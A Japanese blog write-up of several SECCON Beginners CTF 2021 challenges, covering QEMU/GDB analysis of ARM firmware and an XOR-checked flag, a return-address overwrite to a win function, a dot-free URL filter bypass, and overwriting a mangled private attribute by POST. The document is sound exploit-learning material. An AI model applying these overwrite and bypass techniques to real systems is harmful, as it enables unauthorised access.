(Last modified: )

SECCON Beginners CTF 2021 writeup

この記事は、2021年05月23日に旧ブログに投稿したものです。

チームとして参加しました。私が解いたものを記しておきます。

firmware (302pt)

HTMLや画像ファイルなどが1つにまとめられているfirmware.binが渡されます。 その中身を一通り眺めていると、ELFと思われるバイナリを見つけました。

問題のジャンルがreversingということもあり、このファイルを解析するものと考え、該当ファイルを手動で抽出しました。以下抽出したファイルをfirmと呼びます。

fileコマンドでfirmを調べると、アーキテクチャがARMでした。 何故かGhidraで解析ができなかった1ため、QEMUとGDBで動的解析をすることにしました。

1$ sudo apt install qemu qemu-user-static gdb-multiarch binutils-multiarch g++-multilib-arm-linux-gnueabihf
2$ qemu-arm-static -strace -g 1234 ./firm
3/lib/ld-linux-armhf.so.3: No such file or directory
4$ qemu-arm-static -strace -g 1234 /usr/arm-linux-gnueabihf/lib/ld-linux-armhf.so.3 ./firm
1$ gdb-multiarch -q
2(gdb) target remote :1234
3(gdb) c
11423 writev(2,0xfffc3490,0xa)./firm: error while loading shared libraries: libc.so.6: cannot open shared object file: No such file or directory
2 = 114
31423 exit_group(127)
1qemu-arm-static -strace -g 1234 -E LD_PRELOAD="/usr/arm-linux-gnueabihf/lib/libc.so.6" /usr/arm-linux-gnueabihf/lib/ld-linux-armhf.so.3 ./firm
1$ gdb-multiarch -q
2(gdb) target remote :1234
11464 bind(5,{sin_family=AF_INET,sin_port=htons(8080),sin_addr=inet_addr("0.0.0.0")}, 16) = 0
21464 listen(5,5,16,-250188,-250188,0) = 0
31464 accept(5,0xfffc2ed8,[16])

straceより、0.0.0.0:8080で待受しているようです。そこへtelnetを用いてアクセスすると、ascii.txtがないと怒られたため、 再度firmware.binからascii.txtと思われる箇所を抽出して、firmと同じフォルダに置きました。

 1$ telnet 0.0.0.0 8080
 2Trying 0.0.0.0...
 3Connected to 0.0.0.0.
 4Escape character is '^]'.
 5███████╗██╗██████╗ ███╗   ███╗██╗    ██╗ █████╗ ██████╗ ███████╗
 6  ██╔════╝██║██╔══██╗████╗ ████║██║    ██║██╔══██╗██╔══██╗██╔════╝
 7  █████╗  ██║██████╔╝██╔████╔██║██║ █╗ ██║███████║██████╔╝█████╗
 8  ██╔══╝  ██║██╔══██╗██║╚██╔╝██║██║███╗██║██╔══██║██╔══██╗██╔══╝
 9  ██║     ██║██║  ██║██║ ╚═╝ ██║╚███╔███╔╝██║  ██║██║  ██║███████╗
10  ╚═╝     ╚═╝╚═╝  ╚═╝╚═╝     ╚═╝ ╚══╝╚══╝ ╚═╝  ╚═╝╚═╝  ╚═╝╚══════╝
11This is a IoT device made by ctf4b networks. Password authentication is required to operate.
12Input password (password is FLAG) >

この状態でobjdumpによる逆アセンブリ結果を眺めながら、gdbのステップアウト実行で条件分岐命令前のレジスタの動きを追うことにより、

  • フラグは(改行文字を含めた)文字数が0x3dであること
  • 入力値を0x53とXORしてから定数と比較することで、入力値がフラグであるかどうかを判定していること

以上2つの動作が確認できたため、その定数を0x53とXORすることでフラグを得ることができました。

be_angry (234pt)

SECCON Beginners CTF 2019と同じ方法で解きました。

depixelization (136pt)

akictf unreadable message writeupと同じ方法で解きました。

rewriter (108pt)

任意のアドレスの値を書き換えることができるそうです。実際に実行するとリターンアドレスなどが表示されます。 ソースコードが与えられており、win関数を実行するとフラグが表示されるそうです。

checksecを行うとNo PIEなので、win関数のアドレスは固定です。

1$ checksec --file=chall
2RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      Symbols         FORTIFY Fortified       Fortifiable     FILE
3Partial RELRO   No canary found   NX enabled    No PIE          No RPATH   No RUNPATH   76) Symbols       No    0               2               chall
4
5$ readelf -a chall | grep win
6The decoding of unwind sections for machine type Advanced Micro Devices X86-64 is not currently supported.
7    67: 00000000004011f6    69 FUNC    GLOBAL DEFAULT   15 win

なお、readelfが示すアドレスに0xの接頭辞がないため、入力時は付加しておく必要があります。

 1$ nc rewriter.quals.beginners.seccon.jp 4103
 2
 3[Addr]              |[Value]             
 4====================+===================
 5 0x00007fff24d59cb0 | 0x0000000000000000  <- buf
 6 0x00007fff24d59cb8 | 0x0000000000000000 
 7 0x00007fff24d59cc0 | 0x0000000000000000 
 8 0x00007fff24d59cc8 | 0x0000000000000000 
 9 0x00007fff24d59cd0 | 0x0000000000000000  <- target
10 0x00007fff24d59cd8 | 0x0000000000000000  <- value
11 0x00007fff24d59ce0 | 0x0000000000401520  <- saved rbp
12 0x00007fff24d59ce8 | 0x00007fc78ee54bf7  <- saved ret addr
13 0x00007fff24d59cf0 | 0x0000000000000001 
14 0x00007fff24d59cf8 | 0x00007fff24d59dc8 
15
16Where would you like to rewrite it?
17> 0x00007fff24d59ce8
180x00007fff24d59ce8 = 0x00000000004011f6
19
20[Addr]              |[Value]             
21====================+===================
22 0x00007fff24d59cb0 | 0x3030303030307830  <- buf
23 0x00007fff24d59cb8 | 0x3131303430303030 
24 0x00007fff24d59cc0 | 0x00000000000a3666 
25 0x00007fff24d59cc8 | 0x0000000000000000 
26 0x00007fff24d59cd0 | 0x00000000004011f6  <- target
27 0x00007fff24d59cd8 | 0x00007fff24d59ce8  <- value
28 0x00007fff24d59ce0 | 0x0000000000401520  <- saved rbp
29 0x00007fff24d59ce8 | 0x00000000004011f6  <- saved ret addr
30 0x00007fff24d59cf0 | 0x0000000000000001 
31 0x00007fff24d59cf8 | 0x00007fff24d59dc8 

check_url (95pt)

ドット文字を使わずにcheck_urlのURIを示せればフラグが得られます。

真っ先に思い浮かんだのがhttps://00.0.0.0の意味)でしたが、400エラーが表示されてフラグが取れませんでした。 そこで、https://0x0を試したところフラグが取れました。

Werewolf (70pt)

app.pyが確認できます。ソースコードより、POSTリクエストによってplayerインスタンスのプロパティを変更できるようです。 app.pyからflask関連の部分を取り除き、playerインスタンスのプロパティを確認してみましょう。

 1import random
 2
 3class Player:
 4    def __init__(self):
 5        self.name = None
 6        self.color = None
 7        self.__role = random.choice(['VILLAGER', 'FORTUNE_TELLER', 'PSYCHIC', 'KNIGHT', 'MADMAN'])
 8    @property
 9    def role(self):
10        return self.__role
11
12def index():
13    player = Player()
14    print(player.__dict__)
15    # player.__dict__[k] = v
16
17index()
1$ python app.py
2{'name': None, 'color': None, '_Player__role': 'MADMAN'}

変数名の最初が下線文字二個以上の場合、_Player__roleのように置換されます。 したがって、’_Player__role’をkeyとしてWEREWOLFをPOST送信すればよいことが分かります。 私はFirefoxの開発者ツールでヘッダを編集して再送信しました。


  1. 現時点では解析できているので、もしかしたらfirmの抽出が不完全だったのかもしれない ↩︎

Powered by Hugo & Kiss.